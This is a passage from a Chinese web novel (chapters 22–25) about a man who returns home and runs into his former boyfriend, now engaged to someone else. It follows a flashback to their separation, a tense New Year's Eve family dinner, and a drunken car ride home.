“那个啊,我爸给我安排的,就是去挂个名,不干事的。”顾辰开玩笑,“公司离开我,就像鱼离开自行车一样。”
裴然被逗笑:“别这样说,既然有这个机会,还是努力去做吧。”
顾辰没当回事,有些敷衍地回:“嗯嗯,我知道的,公司有我哥管着呢,哪里用得上我。”
一口啤酒下肚,顾辰突然意识到有些不对劲。
等等……他哥?顾总?公司?
裴然去了顾氏集团,还是去找顾总,想来不是找他的,也不可能是他爸,那就只能是找他哥。
顾辰一开口,嗓子都发颤,“然哥,你去见我哥了?”
闻言,裴然身子顿时一僵,抬眼对上顾辰复杂的眼眸,一时间说不出话来。
此刻裴然的反应和默认无异,顾辰感觉很荒唐,猛地又灌了一口酒,才说:“你去找他干什么?他已经要结婚了!”
裴然脸色很白,手指不受控制地在颤抖,喉咙发紧:“我知道,我没有打扰他,我只是去还东西。”
22. 第 22 章
裴然呼吸急促,整个人状态很混乱。
顾辰心下也很难受,但还是凑上去,查看他的情况,靠近时裴然下意识偏头,不打算理会他。
顾辰跟着转身,和他面对着,裴然赌气侧身,两人你来我往地好几次,才消停。
“对不起然哥,你不要多想,我不是那个意思。”顾辰懊恼地抓了抓头发,又牵着裴然的手腕,“分开这么多年了,你们既然要断,就断干净一点,现在情况特殊,我不想让你被误会。”
被误会成插足别人感情的小三,这句话顾辰不敢说出来,但言尽于此,大家心知肚明。
裴然很固执地解释,声音强压着,想镇定,但仍旧带上几分哭腔:“我没有想打扰他们,我比谁都希望他幸福。”
当初见面时写下的贺卡:情比金坚,百年好合。他字字真心,没有半分虚情。
既然顾临川什么都不记得,他为什么不能以朋友的身份站在他身边,看着他。
仅此而已,他就很满足了。
“顾辰,我不想跟他分开的,我也不想让他忘记我,但事情已经发生了,我只能接受,我没有办法。”裴然情绪失控,拽着顾辰的衣襟,一字一字地说,“我只想待在他身边,我有什么错!事到如今,你告诉我,我应该怎么办?!”
顾辰把桌上的瓷碗和热油推远,任他发泄,低声说:“然哥,放过自己吧,看看眼前人,好吗?”
裴然见他这副失落模样,情绪更乱,只好掐着自己的掌心,使了劲,痛感让他清醒,也让他迷恋。
“我做了这么多错事,我凭什么放过自己,我咎由自取,我活该。”裴然哭得撕心裂肺,但声音很小,近乎呢喃。
是他突然离开,让顾临川平白受了那么多委屈,是他这么多年了无音讯,让顾临川性情大变。
他有什么资格放过自己。
“不是的,不是这样的。”顾辰抓着他的肩膀,让他看着自己,“当初你不是心甘情愿离开的吗?在国外这么多年,没有我哥,你不是过的好好的吗?为什么不能忘了他重新开始?”
“心甘情愿……是,我是心甘情愿的,没谁逼我,我怪不得任何人。”裴然说。
顾辰仰头看着天花板,心底涌上一股浓烈的后悔和难过,好好的一顿饭,吃成这样,他明明只是想来和裴然说说话而已。
“然哥,你不要这样,我很担心你。”顾辰上前,想把他拥进怀里,但被一把推开。
裴然一个人蜷缩在椅子上,头埋进臂弯里,声音很闷:“让我一个人静静。”
“好。”顾辰抱他的手落了空,最终收回,叹了口气,起身把餐桌收拾了。
裴然头很疼,但可以忍受,他清楚地知道这一次不会进医院。
所以他没有吃药,放任脑神经快要爆炸般剧烈收缩。
他一个人坐在这里发呆,一直到顾辰收拾好一切,来跟他道别时都没有任何反应,像一个没有生机的洋娃娃。
顾辰低声说再见,但没有任何反应,只好轻手轻脚地离开。
外面不知何时落了雨,滴答滴答地砸在地上。
裴然又想起高考出分前的那天。
夏日里的暴雨总是来的又急又猛,他和顾临川一起窝在阳台的摇椅里,雨丝衔来丝丝凉意,赶走夏日的烦闷。
顾临川低头蹭他的脸颊,带着缠绵的吻落在他额头。
“小然,你紧张吗?”
裴然摇摇头:“不紧张。”
顾临川低低地笑起来,把他搂紧了些:“小然是大学霸,一定能考高分。”
两人依偎在摇椅里,在暴雨声中浅浅睡去。
睡醒后,裴然身上披了件外套,身侧已经没有顾临川的身影,他猛地坐起来,着急地寻找。
“顾临川……”他出声喊,声音里带着自己都没察觉到的颤抖。
下一秒,顾临川拿着笔电走进阳台,见他委屈巴巴地坐在那里,顿时把电脑放在一旁,快步过去把人从摇椅里捞出来。
“怎么了?做噩梦了?”顾临川让他两条腿环住他的腰,把他抱得很紧,低声哄着。
裴然最近来一直很恍惚,像是被人夺去心神,顾临川以为他是担心高考分数,便经常宽慰,不论多少分他们都会在一起。
但没有效果,裴然依旧如此。
裴然摇头说没有,双手紧紧环住顾临川的脖颈,把脸埋进去,一刻也不愿分开。
顾临川就这样抱着他坐在床上,打开电脑,跟他说已经可以看到高考分数了。
裴然问他:“你考了多少?”
“七百零八。”顾临川凑上前亲他的脸,眉眼间藏不住地少年恣意,“小然,我能和你一起去首都了。”
裴然笑意很淡,也吻着他的侧脸,“好厉害。”
“小然,你考了多少分?”
“六百二十五。”裴然随便胡诌了一个分数。
这个分数对于艺术生来说,上首都艺术大学足够。
闻言,顾临川很高兴,从床上站起来,钳着裴然的腰把他举起来,高兴地转圈,“太好啦,我们永远也不会分开了!小然是世界上最棒的男朋友,我最爱你!”
直白又浪漫的爱意此刻像利刃一样划破裴然的心,他心在滴血,看着爱人的眼睛,却一句话也说不出来。
仿佛过了很久。
“我也……最爱你。”
裴然闭上眼睛,眼角滑落一滴无人察觉的眼泪。
彼时,裴然已经决定前往英国,所以他格外珍惜这段时光,一秒没有看见顾临川就会焦虑,甚至精神恍惚。
顾临川察觉到他的不对劲,但不知道原因,只是日复一日地陪在爱人身边,以为这样就会好起来。
录取通知书发下来以前,两人没有一刻分开,白日里他们会拥抱,亲吻,夜里他们亲密过后相拥而眠。
顾临川享受着爱人的依赖,食髓知味,那段时光,他仿佛拥有了全世界。
通知书下来的前一天夜里,裴然很主动,也很爱哭,轻了要哭,重了也要哭。
“小然是小哭包。”眼泪太多,他停下动作,把人搂紧,细细吻去脸上的泪。
“顾临川……”裴然嗓子很哑,但仍旧一直在喊他的名字,像是要把他刻进骨头里。
“我在。”顾临川每一声都应下。
第二天清晨,第一缕阳光照进卧室,顾临川没有睁眼,只是先动了动手臂,很轻,没有人躺在他臂弯里。
一瞬间,顾临川清醒过来,看着身旁整洁的空荡荡的床单,上面早已没有温度。
顾临川以为裴然只是早起,便赶紧下楼寻他,但不知道为什么,心里空落落的,很不舒服。
总感觉有什么很重要的东西正在慢慢的离开,永远也找不到了。
他下了楼,厨房餐厅花房,甚至是外院的小院子,都没有裴然的身影。
他有些无措,冲回房间拿起手机给裴然打电话。
“对不起,您
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所拨打的用户已经关机,请您稍后再拨……”
不死心,他又打了几次,得到的只有机械的女声在重复这段话。
顾临川几句快要站不稳,整个人都像丢了魂魄,完全不明白发生了什么。
明明昨天晚上还真真切切在他怀里的人,为什么会突然消失,电话也不接。
六神无主间,他看到了床头放着的一张粉色便签,上面写着:
恨我吧,对不起。
是裴然的字迹。
拿着便签的手都在颤抖,顾临川红着眼,不肯相信眼前的一切。
“小然,不要恶作剧好不好,我会害怕的……小然你快出来,我给你买最爱的马卡龙好不好……裴然!你凭什么这样对我!”
顾临川暴怒,把房间里一切能砸的能摔的全部破坏掉,唯独那张便签,完全无损。
就在这时,他的手机铃声响了起来。
顾临川顿时露出一点笑意,手足无措地在一片狼藉中找到自己的手机,但来电显示却是顾振东,他父亲。
“什么事。”顾临川疲惫不堪地问。
“裴然的飞机已经起飞了,临走前,他收下了我给的两百万。”顾振东对他说,“是我让他这么做的,至于原因,你们不合适,小打小闹我不管,但你要是认真了,就别怪我插手。”
“你把他怎么了?!”顾临川怒不可遏,手里力气不受控制,险些要将手机捏碎。
“我把他怎么了?呵,你真是我的好儿子。”顾振东愠怒,斥责他,“听不懂吗?我再说一次,他为了前途为了钱,答应了我的条件,离开你了,这就是你视若生命的爱情,在利益面前不堪一击。”
“爸,你把他还给我,我求求你,你是不是威胁他了,他这么爱我不可能这样对我的。”顾临川语气低微,近乎乞求。
他很少叫顾振东爸,毕竟他出了轨,还有私生子,他向来鄙夷这种人,从不认为这是他的父亲。
对面怒不可遏,骤然把电话挂断了挂断,顾临川颓唐地坐在地上,久久不能回神。
此后,他发出的每一条消息,每一通电话,全都石沉大海,他再也没有了裴然的音讯。
他也从逐渐变得消沉阴鸷,任谁来了,都无法将他和以前那个青春肆意的少年联系起来。
裴然的离开,带走了一部分的他,他变得不完整,时常会做噩梦,梦里是裴然愈走愈远的背影,无论他怎么伸手,都无法触碰到。
他想,裴然真的爱过他吗?为什么能这么狠心,把他一个人丢下,为什么一条消息也不回,一通电话也不接?
他们的感情真的在利益面前如此不堪吗?那他们曾经的誓言算什么?他满腔的爱意又算什么?
算他可笑。
那时的顾临川在心里想着。
轰隆——
一声惊雷过后,裴然猛地惊醒过来,闪电闪过,映出裴然汗涔涔的惨白的脸。
脸上一片冰凉,伸手一摸,才发现是眼泪不知不觉流了满脸。
原来只是一场梦。
裴然怔愣着,擦去了脸上的泪,突然感觉到一阵刺骨的寒意,从心脏最深处传来,很快便蔓延到四肢百骸。
他站起身,如幽灵般从客厅回了卧室,一点一点扯过拿被子把自己蒙起来,终于勉强暖和了一点。
后半夜里,他又陷入了深深的梦魇。
一场清醒梦,惹得他很不安宁,但他很多年没有梦见顾临川了,舍不得醒过来。
23. 第 23 章
新年将至,除夕前夜南城被小雨冲刷,洗去旧一年的凡尘与琐碎。
裴然起了大早,穿上厚实棉袄,又老老实实戴上了围巾和手套。
抓上车钥匙,车子一路向南,期间在城郊一家花店稍作停留,片刻抱着一捧马蹄莲出来。
车子最终停在城郊墓地门口,因着除夕,门口来来往往很多人。
皆穿着肃穆,脸上或平静或悲戚的表情,伴随着时不时飘散在空气中的压抑的哭声,让气氛陷入压抑。
裴然抱花的手紧了几分,才缓缓抬步往里走。
不多说站定,微微俯身将花摆好,又拿出手帕轻柔地擦拭着墓碑,手指拂过上面刻的字:慈父裴敬山之墓。
目光触及照片上面如温玉,目含谦和的男人,裴然倏地红了眼眶。
他蹲下身,把额头轻轻抵在冰凉的碑面上,声音压得极低,混着含糊的风声:“爸,我回来了。”
沉默了几秒,他抬手抹了把眼泪,继续说,“这几年没回来看你,对不起。当初走的匆忙,也没来得及再和你说说话。”
他坐下来,就坐在墓碑旁,后背靠着冰冷的石碑,像小时候靠着父亲的脊背。
“妈妈恢复得很好,好几次我去看她,她手指都能动了,医生说今年有机会醒过来。我现在能挣可多钱了,治疗费都不是问题,之前顾叔叔给我的那部分我也快攒好了,年后就还给顾叔叔。”裴然笑了笑,声音却哽着,“爸爸,我是不是很厉害?”
他伸手去抚墓碑,指尖一遍遍描摹父亲的照片,照片里的男人眉眼温和,唇角带着笑,还是记忆里的模样。
“你不是总说,我做的衣服全世界最好看吗?我又给你做了几件,冬天风大,你注意添衣。”
“我在国外挺好的,洋人饭不好吃,但我自己会做……对,你教我的红烧排骨,我都没忘。”
“……”
裴然絮絮叨叨在墓前说了很久,香烧了大半,烟缕绕着墓碑飘向远处。
他站起身,整理了一下衣襟,对着墓碑深深鞠躬,再鞠躬,三鞠躬,每一次弯身,都沉得厉害。
“爸,除夕快乐,明年,我和妈妈一起来看你。”
说完,他转身离开,背影形单影只,抑制不住的眼泪汹涌落下,身后的墓碑,在呼啸的北风里,立得安稳。
随即,在他看不见的身后,墓碑前又落下一束白菊。
来人立在碑前,望着他离去的方向,久久才收回视线,对着墓碑沉声道:“裴叔叔。”
“然哥!”顾辰隔了很远就望见裴然,见他神情恍惚,心脏也跟着缩紧。
自上次争吵后,裴然就开始有意无意的躲着他,一连几天,他去哪里都找不到人。
今日除夕,他笃定裴然一定会来这里,于是开着车在墓园门口等着,果然让他等到。
他抬手将人拥进怀里,低声说:“难过的话,就哭出来吧,我陪着你。”
裴然双手自然下垂,没有力气推开他,好半晌才问:“你来干什么?”
“这几天你总躲着我,是不是还在生我的气啊?”顾辰颇为委屈,撒娇似的蹭着裴然的颈窝。
“没有,工作很忙。”裴然说。
“那你原谅我了吗?”顾辰抓着他的肩,固执地问。
裴然盯着他有几分像顾临川的眉眼,半晌叹了口气,“我没有怪你。”
顾辰如释重负,笑了笑,问他:“然哥,新年有什么安排吗?”
“睡觉。”裴然摇了摇头,裴家的亲戚要初三才去探望,没了工作,他就只剩睡觉可做。
“睡觉?太无聊了吧?”顾辰说:“然哥,跟我一起回家吧?我们一起跨年。”
回家?
裴然眼神复而清明几分,内心涌上一股悲凉。
他已经没有家了。
顾辰见他迟迟不应,只当他是答应了,当即拉着人坐进车里,搓了搓他冰冷的脸,很高兴:“我爸知道你回国了,一直很想见见你。”
“是么。”裴然坐在副驾驶,没什么精神地闭上眼。
“对呀,爸还说你来了要给你包一个很大的红包呢……”
顾辰还在叽叽喳喳地说着,裴然已经歪着头在车里睡着了。
顾辰一转头,轻笑一声,把车载音乐调小了,又降低车速,开得很平稳。
饶是如此,路上还是被一辆路虎别了,顾辰全程忍着怒气,很想挣回一口气,但又顾及着裴然。
对方似乎像猫抓老鼠一般,有意挑衅,控制着距离,也看不清车牌号。
无奈,顾辰只好处处退让,一个拐角处,路虎加快速度扬长而去。
顾辰低声暗骂了一句,又老老实实继续开车。
顾家老宅在城西,占了半座山的西式庄园,车子驶进铁艺大门,绕过草坪和喷泉,才缓缓在主宅停下。
管家已经在候着,见状立马上前,“二少爷,裴少爷。”
顾辰把车钥匙扔给佣人去泊车,闻言笑了笑,一边往里面走一边说:“杨叔,你就叫他裴先生就行,叫少爷他会不习惯的。”
七年时光,顾宅的管家已经不是当年那位,对裴然自然也是陌生,听到这话,忙应下,道了句:“裴先生。”
裴然微微点头示意,下一秒被顾辰拉走。
“然哥,我爸他们应该在后院,走我们去找他。”
“找谁?”低沉的声音从门口传来。
两人应声望去,只见顾临川臂弯里搭着刚脱下的大衣,脚下踩着居家拖鞋,但仍高出两人不少。
走过去的时候看也没看裴然一眼,站在两人面前,浑身透着寒气。
顾辰把裴然往身后推了推,自己上前一步盯着顾临川的视线,“哥,我带然哥去找爸。”
顾临川才像是刚看见裴然,只淡淡瞥了一眼,又移开视线,问顾辰:“今天是什么日子?”
顾辰摸不着头脑,只老实回答:“除夕。”
“这么重要的日子,怎么什么人都往家里带?”顾临川的话像淬了毒的剑,狠狠扎在他心尖。
裴然如坠冰窟,想说的话哽在喉间,说不出来。
顾辰似乎也没料到会是这样的回答,当即愣了愣,“是爸说,想见见然哥……”
“然哥?我怎么不知道他还有一个私生子?”顾临川面无表情,打断他的话。
顾辰又是一愣:“什么意思,哥?”
顾临川没解释,不想多说,转身上了二楼。
等他离开,顾辰才明白那句话什么意思,一瞬间,他藏在身后的手紧了紧,咬紧了牙关,最终还是松开。
“然哥,对不起,是我没处理好,让你受委屈了。”
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顾辰调整好,低着头,给他道歉。
裴然恍若未闻,脑海里满是那日顾临川摸着他的耳朵对他说下次不会了的画面。
为什么会这样?明明已经答应他了,不会再这么凶……
裴然眼睫轻颤,推开面前的顾辰,低声说:“我想上个洗手间,你先去找顾叔叔好吗?”
顾辰欲言又止,但还是点点头,朝后院走去了。
裴然咬着唇,往二楼走,凭着从前的记忆找到顾临川的房门,手指悬在半空,犹豫着要不要落下。
“裴先生,你走错了,洗手间在楼下。”顾临川声音骤然在身后出现,裴然吓得手一抖。
裴然转过身,顾临川立在他身前,面容冷峻疏离,仿佛第一次在酒吧遇见他那时一样,眉眼间还可以看见几丝厌恶。
看清的一瞬间,裴然下意识往后退了几步。
顾临川皱着眉步步紧逼,直到裴然背抵上房门,再也没有退路。
裴然鼓起勇气:“我不是来上洗手间的,我是来找你的。”
“找我?什么事。”顾临川居高临下地望着他。
裴然看着他冷漠的神情,顿时又没了底气,往后缩了缩。
“讲话,裴然。”
顾临川一手撑着门,以一种绝对控制的姿势把他抵在门上,另一只手捏着他的下巴。
两人靠得太近,彼此的呼吸都打在对方身上,裴然意识到这一点,呼吸立刻急促起来。
“你上次跟我说,你以后不会再凶我了……但是你没有做到,你刚刚又对我很凶,我不知道原因。”说完,裴然闭上眼睛,不敢再看。
顾临川嗤笑一声,问他:“我什么时候说不凶你了?”
“你明明就有!”裴然急得又睁开眼,“上次在枚爷爷家里,你答应我了的。”
顾临川这才想起来,当时裴然红着眼眶哑着嗓子问他为什么要……他还以为是裴然吃醋他们靠的太近。
现在想来,根本就不是那样。
顾临川周身气压更低,态度恶劣,“答应了就一定要做到吗?”
裴然哑口无言,是啊,他凭什么要求顾临川对他信守承诺,又凭什么要求顾临川对他温声细语。
顾临川哑着嗓子,“你答应别人的事情,都做到了吗?”
裴然背脊一僵,“没有。”
他低着头,顾临川强迫他抬头对视,汹涌复杂的感情在眉目间流转,谁也看不懂。
片刻后,顾临川整理好情绪后退了一步,理了理衣襟,又恢复了西装革履的斯文模样。
裴然只觉一阵天弦地转,险些摔倒,幸好及时扶住门框,才稳住身形。
顾临川默然,转身离开的脚步却一顿,“还有什么要说的吗?”
裴然胸口像塞了一块大石头,很闷,他摇了摇头,又想到什么,“对不起,打扰你们一家人团聚了,我不知道你不欢迎我。”
他以为上次过后,顾临川已经把他当做好朋友了,至少可以心平气和地聊天,没想到只是他一厢情愿。
或许顾临川已经不讨厌他了,但也绝对没有熟到可以在除夕夜擅自来到家里,扰他的清静。
裴然很懊恼,事已至此,他唯有道歉。
顾临川背对着他,看不清表情,只是还没听他讲完,就已经离开了。
24.第 24 章
裴然在原地站了很久,一直到佣人上来找他,说已经备好午饭,裴然这才回过神来,起身往楼下走。
过新年,顾家早早就闭门谢客,无数趋之若鹜的人遗憾泄气,只能等待年初七以后才能前来拜访。
而除夕的这一顿午饭,顾家也只有顾振东这一脉能在住宅用餐。
顾临川的母亲聂玥女士虽然早已与顾振东为形式婚姻,平时没有必要决无往来,但跨年夜仍旧按时到场给足面子。
聂女士一身职业装干脆利落,进门时同每一个人都点头示意,随后落座。
顾辰同顾振东一道从后花园进来,他瞧见裴然一脸的失魂落魄,于是同他父亲讲过之后,便小跑到裴然身边。
他低头在裴然耳边小声地说:“然哥,你跑哪去了?我在洗手间没看见你呀?”
裴然这才想起来答应好的要和顾辰一起去后院,有些懊恼朝他笑笑:“抱歉啊,我走错路了,出来的有点迟。”
“没关系的,我已经跟爸爸说清了。”顾辰想去牵他的手,被躲开了,“然哥?”
裴然心里乱糟糟的,尤其是当他看见沙发上和聂女士交流的顾临川,全程一个眼神也没施舍给他,心下更加苦涩。
“没什么,先过去打招呼吧。”裴然不欲解释,越过他朝顾振东走过去,“顾叔叔,新年快乐。”
“嗯,坐下吃饭吧。”顾振东微微颔首,对他不咸不淡,远没有顾辰形容地那么热情,带着常年发号施令的上位者的威严。
“爸,让然哥挨着我坐,可以吗?”顾辰期待地看向他父亲。
顾振东摆了摆手,是答应的意思。
于是裴然被安排在顾辰的身侧,在顾临川的斜对角。
透过桌上的鲜花,可以偷偷看见顾临川,裴然借着夹菜的机会,瞟了几次,最后一次被抓包,两人视线对上,裴然赶紧收回,埋头吃饭,不敢再看。
席间,顾振东问起:“既然已经确定好了,挑个时间办订婚宴吧,正巧临川好事也将近,你们兄弟二人喜上加喜。”
顾辰闻言很羞涩,扭捏着看了裴然一眼,随即说:“我和然哥回去商量一下好吗?我们不着急的?”
裴然听前一句,还当是顾辰喜欢的那家姑娘要和他定亲,谁料吃瓜吃到自己头上。
还来不及反应,桌上剩余两人皆是抬眼望着他,一人疑惑一人冷漠。
聂玥虽不解,但面对裴然语气温和:“小然和顾辰在谈恋爱吗?”
当年顾临川和裴然的恋情是得到了她的认可的,她自己的婚姻已然失败,所以自觉无权干涉孩子的婚姻。
何况顾临川向来有自己的想法,他做的选择,必然是深思熟虑的。
当初分开,她虽也不解,但仍旧是尊重裴然的决定,哪怕如今裴然告诉她,的确是在和顾辰谈恋爱,她也会祝福。
裴然下意识看向顾临川,但只看清眼底一片嘲弄,他咬着下唇,没有答话。
顾辰在餐桌下牵起他的手,安抚他:“然哥?被吓到了吗?不用担心,我在这里。”
裴然用力挣脱,但失败了,却被越握越紧,正要说话,却听身旁之人低声道:“帮帮我,我稍后给你解释。”
说完,便放开了裴然的手,投去一个拜托的眼神。
裴然无声地轻叹一声,对聂玥回道:“抱歉阿姨,刚刚走神了。我的确是在和小辰谈恋爱,但是订婚的事情不着急,我们还想再相处一段时间。”
聂玥笑容得体,闻言点了点头:“原来如此。”
明明一切都没有变化,但裴然却觉得脸上火辣辣的疼,像是被人狠狠扇过几个耳光。
偏偏耳边还传来顾振东的声音:“订了婚再相处也是一样的,早点定下来更好。”
聂玥挑眉,看着自家儿子,虽面无表情,但她能感受到冲天的杀意,无差别地对这对父子俩,她觉得好笑。
于是,她轻咳一声,打断顾振东的话,不紧不慢地道:“小辈的事情,就让他们自己去决定,怎么?掌控了一辈子,连小孩的婚姻大事也要控制?”
顾振东一噎,想说些什么又咽了下去,这么多年了,自从他出轨弄被发现以来,聂玥就从来不与他讲话了,此刻,他竟然生出一丝别样的情愫。
裴然感激地看向聂玥,对方接收到了,并回应他一个淡淡的笑。
众人之后都很安静,只顾着埋头吃碗里的饭,聂玥是第一个起身离开的,她向来只吃一顿午饭,晚上的家族聚宴她不会参与。
她从佣人手中接过自己的外套,只同顾临川和裴然道了别,随后便离开了。
顾临川紧随其后,起身离开。
顾振东气得摔筷子,指着顾临川的背影,低声呵斥:“坐下!谁允许你离开了?和你母亲一样没有礼数!”
顾临川上楼的脚步没停,只在拐弯处微微侧头,看着餐桌上的几人,神色晦暗,语气阴狠:“我一向不听你的话,不是吗?还有,别提我妈,很恶心。”
待顾临川离去之后,顾辰才站起身来,俯低身子给他爸顺气,“爸,别生气了,我哥他不是故意的,随他去吧。”
顾振东盯了他一眼,随即叹了口气,摆摆手:“行了,我不吃了,你们继续吧。”说完便也起身离开。
一顿没有丝毫团团圆圆阖家辛福之感的年饭就这样散场,裴然看着忙前忙后地顾辰,心底涌上一股陌生,这还是他认识的顾辰吗?
一切收拾妥当,顾辰又坐在裴然身边,小心翼翼地问:“然哥,刚刚事出有因,你不会怪我吧。”
“你明知道我会怪你,你还是做了。”裴然心很累,“为什么?”
顾辰很着急地解释:“父亲很着急,要给我介绍联姻对象,我不得已,只好说在和你谈恋爱,你是我身边最亲近的人,只有是你我爸爸才会相信。”
“顾辰,如果你不讲实话,我们就没有谈下去的必要了。”裴然说完,站起身,径直离开。
“是真的!”顾辰冲上去拦在裴然身前,又重复一次,“请你相信我,我没有骗你。”
“你父亲要给你介绍联姻对象,你不喜欢,可以拒绝,也可以假装答应,还可以请人陪你演戏,何必大费周折地找我,我很傻吗?”
“不是的……我没有那个意思。”
裴然走一步,顾辰就拦一步,眼泪蓄在眼眶悬而未决,模样很是可怜,但裴然心底一片冰凉,没有半分动容。
顾辰拉着他的手,又被甩开,只好拉着他的衣角,声音哽咽:“我知道我这样做让你很为难,但是我实在是没有办法了……”
“你有。”裴然打断他,“你不想做的事情,谁也没办法逼你,为什么会没有办法?”
“因为我喜欢你!”顾辰大声吼出来,眼泪像断了线的珍珠,抓着裴然语无伦次,“我没有办法眼睁睁看着你再爱上我哥,我喜欢你,然哥,我真的喜欢
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你。”
话音刚落,裴然愣在原地,瞬间慌了神,四肢冰冷,像是听不懂这句话,但又不敢再让他重复一次。
顾辰还在哭,哭声落到耳朵里很模糊,像是从很远的地方传来的,裴然不敢去看他的眼睛,只好背对着他,“你知道我一直都拿你当弟弟,以前是,现在是,以后也会是。”
“我不想当你的弟弟,我和我哥比,到底差在哪了?”顾辰不甘心,嘶哑着质问。
“你很好,不用和任何人比较。”裴然觉得自己很像一个辜负了青春少年的渣男,嘴里念着全国统一的渣男语录,“对不起,我们不合适。”
说完,他将衣角从顾辰手中拽回,头也不回地离开了,只留下顾辰一人在原地暗自神伤。
无人在意的二楼阳台,被院子里高大的玉兰树遮去了视野,缝隙间能窥见一个人影立在那里,旁观了整场闹剧,久久未离去。
晚上的年夜饭是整个顾家主系旁支都会来,场面热闹非凡。
如今,顾振东与顾临川隐有分裂的征兆,现场各位都是人精,纷纷选择了自己的站队,来赴宴的人自动分成两派。
只不过不管私底下斗成什么样,上了年夜饭的饭桌,大家都得和和气气的。
一顿饭下来,大家互相恭维,互相给家中的小辈发红包,说祝福,倒也一片祥和。
顾临川手里拿着几个沉甸甸的红包,身后是一群呆萌的小团子,一个劲的喊哥哥叔叔,顾临川像火车头似的绕了一圈,几个体力不好的小团子险些跟不上。
终于顾临川停下,坐在椅子上,对着第一个奶团子说:“想要吗?”挥了挥手里的红包。
奶团子狠狠点头,很是上道地喊:“小叔叔,莉莉祝你新年快乐。”
顾临川很满意,又指了指自己的脸,奶团子于是又凑上去亲了一口,吧唧一声,红包落到奶团子手里。
身后跟着的几个奶团子纷纷效仿,于是每一个小孩手里都拿到了红包。
他伸手揉了揉小孩子们的脑袋,“玩去吧。”
小孩子们又捧着红包四散开来,叽叽喳喳地闹腾起来。
期间,有顾家的叔叔顾毅荣看到了,带着自己的妻子一起走过来敬酒,“小川很喜欢小孩子啊,以后和宋小姐结婚了,考虑早点要孩子吗?”
“不着急。”顾临川端着酒杯喝下,轻笑一声:“何况,还是别人家的小孩比较好玩。”
顾毅荣笑了笑,“也是。”
他身旁的妻子也笑着,佯装嗔怪:“小川和宋小姐都是事业型,有自己的规划,你着什么急?”
顾毅荣这才反应过来自己在说什么,赶紧解释:“是是,小川做事心里都有底的。”
刚和这边聊完,顾临川又被喊走,一顿饭下来,喝了不少酒。
顾临川酒量好,但仍有些醉意,便找来佣人替自己备车,他则是同诸位长辈道别,准备离开。
他从来不在顾宅过夜,大家也都见怪不怪,纷纷道一句注意安全。
车子已经备好停在后院,顾临川胃里难受,皱着眉坐上去,摆摆手让司机下车,拿出手机打电话。
“喂……”
“裴然,我喝醉了,不能开车。”
“我帮你叫司机。”
“你亲自过来。”
说完,不等对面回答,直接切断了电话,揉了揉太阳穴,不适感稍微退下后,才微微仰头闭目养神。
25.第 25 章
嘟嘟——
电话被挂断过后好几秒之内,裴然都没能反应过来,捏着手机脑子里乱成一团。
要去吗?
裴然盯着手机里发来的实时定位,还在顾宅,去了也许会撞见顾辰,也会遇见很多顾家人。
对于顾临川,两人总是针锋相对,今天在卧室门前的争执,他理亏也心虚,更少了勇气去面对他。
白日里被顾辰突如其来的表白吓了一跳,他还没有做好准备面对复杂的问题,也还没有想到一个合适的理由去拒绝。
他烦躁地抓了抓头发,现下能想到的最有效直接的办法就是逃避,规规矩矩躲在家里,只要顾辰见不到他,感情就会慢慢变生疏。
那就不去?裴然纠结着,小脸皱巴巴的。
但是又想起电话里顾临川说想见到他,是很少能听到的话,他舍不得。
他不忍心让顾临川失望,也不放心让顾临川醉酒独自待着。
这一次还是他主动给自己打电话,一定是有很重要的事情,一定是的。
退一万步来讲,若是普通朋友给他打来电话,他也是会去的。
裴然在内心疯狂给自己找借口,找理由,努力让接下来的行为显得不那么荒唐。
事已至此,裴然呼出一口气,迅速从床上蹦起来,朝自己比了个加油的手势,出门。
他是打车到的顾宅,出租车被安保拦下,裴然便付了钱,下车一路跑过去。
顾临川的车停在夜里,像一只蛰伏黑暗里的猛兽,车窗从外面看不清里面的样子,便上前伸手敲了敲。
车窗应声缓缓降下,露出线条冷硬利落的侧脸,车框在他眼下投下一片阴影,漆黑的眼眸在夜里亮得吓人,直勾勾地盯着车外的裴然。
裴然还喘着气,脸色红润,被盯着有几分不自然,却也没有移开视线。
两个人隔着车窗对视良久,裴然低头看了看顾临川不算清明的眼神,“顾临川,你醉了吗?”
顾临川不答,只是盯着他。
裴然伸出手在他眼前晃了晃,问他:“看得见我吗?”
下一秒,骨节分明的大手从窗口伸了出来,一把握住,在手掌轻轻摩挲几下,指节顺着裴然的指缝滑进去,往自己跟前拉了拉,十指紧扣。
裴然轻呼一声,感受到彼此掌心紧紧相贴,连血液的流动似乎都能清楚的感知到。
“看得到。”顾临川说。
裴然想抽回手,但奈何顾临川力气实在太大,只好说:“先松开吧,让我上车,我送你回家。”
顾临川盯着他看了几秒,松开手,“好。”
裴然上了车,问清楚地址之后,瞥见顾临川没有系上安全带,便开口指了指,提醒他:“安全带。”
顾临川面露疑色,没有动。
裴然只好先松开自己的,越过控制台去拉另一边的安全带,他有点紧张,但努力控制着自己的表情和呼吸,装作一切如常。
顾临川眯着眼睛,看他趴在自己的身上,突然伸出手,摸上他柔软的发顶。
“怎么了?”裴然正给他系好,打算退回原位,被这样像摸小狗一般的姿势摸了脑袋也不生气,只是问他。
顾临川手指插进发丝间,又揉了揉他的耳垂,问他:“你为什么要来?”
裴然不解,不是他让自己来的吗?现在又这样问,难道说他认错人了?
“你给我打电话,我就过来了。”裴然回答。
“这么听话?”顾临川嗓音低沉,有几分漫不经心的醉意。
裴然猜不透他的心思,只好实话实说:“你喝了酒,我担心你。”
“嗯。”顾临川终于松开他。
裴然这才从他身上下来,一顿手忙脚乱,总算是找回状态,驱车离开。
一路送到楼下,裴然本打算悄悄离开,心里想着,或许等他清醒过来以后就不记得了。
谁知,刚打开副驾驶的门,顾临川便醉醺醺地往他身上倒,一副无法自理的模样,缓缓禁锢着他的身子,让他无法挣脱。
顾临川身材高大,肌肉结实,裴然搂着他有些吃力,怕他摔倒,便低低地喊他:“顾临川,你抱紧一点。”
闻言,腰上的力道紧了些,顾临川眉峰紧皱,似乎很难受。
出了电梯门,裴然让他开门,顾临川问他:“钥匙呢?”
裴然当然不会知道钥匙在哪里,毕竟自从他离开以后,就擅自切断了和他的所有联系,包括曾经一起住过的房间的钥匙。
裴然说:“我不知道。”
顾临川像是没听见,自顾自地问:“钥匙呢?”
裴然没办法,只好说:“我在你口袋里找找,可以吗?”
顾临川没回答,裴然就大着胆子去摸他的上衣口袋,上面没有,又去摸裤子的口袋。
衣物上还残留着人体的体温,寒冷的冬夜里指尖轻触到温暖,下意识地蜷缩一下。
裴然浑然不知这个动作有多危险,只是认真地在寻找,正当他疑惑怎么找不到时,下一秒,手却被一把抓住。
“别摸了。”顾临川忍无可忍,嗓音沙哑。
裴然不明所以:“不找了吗?”
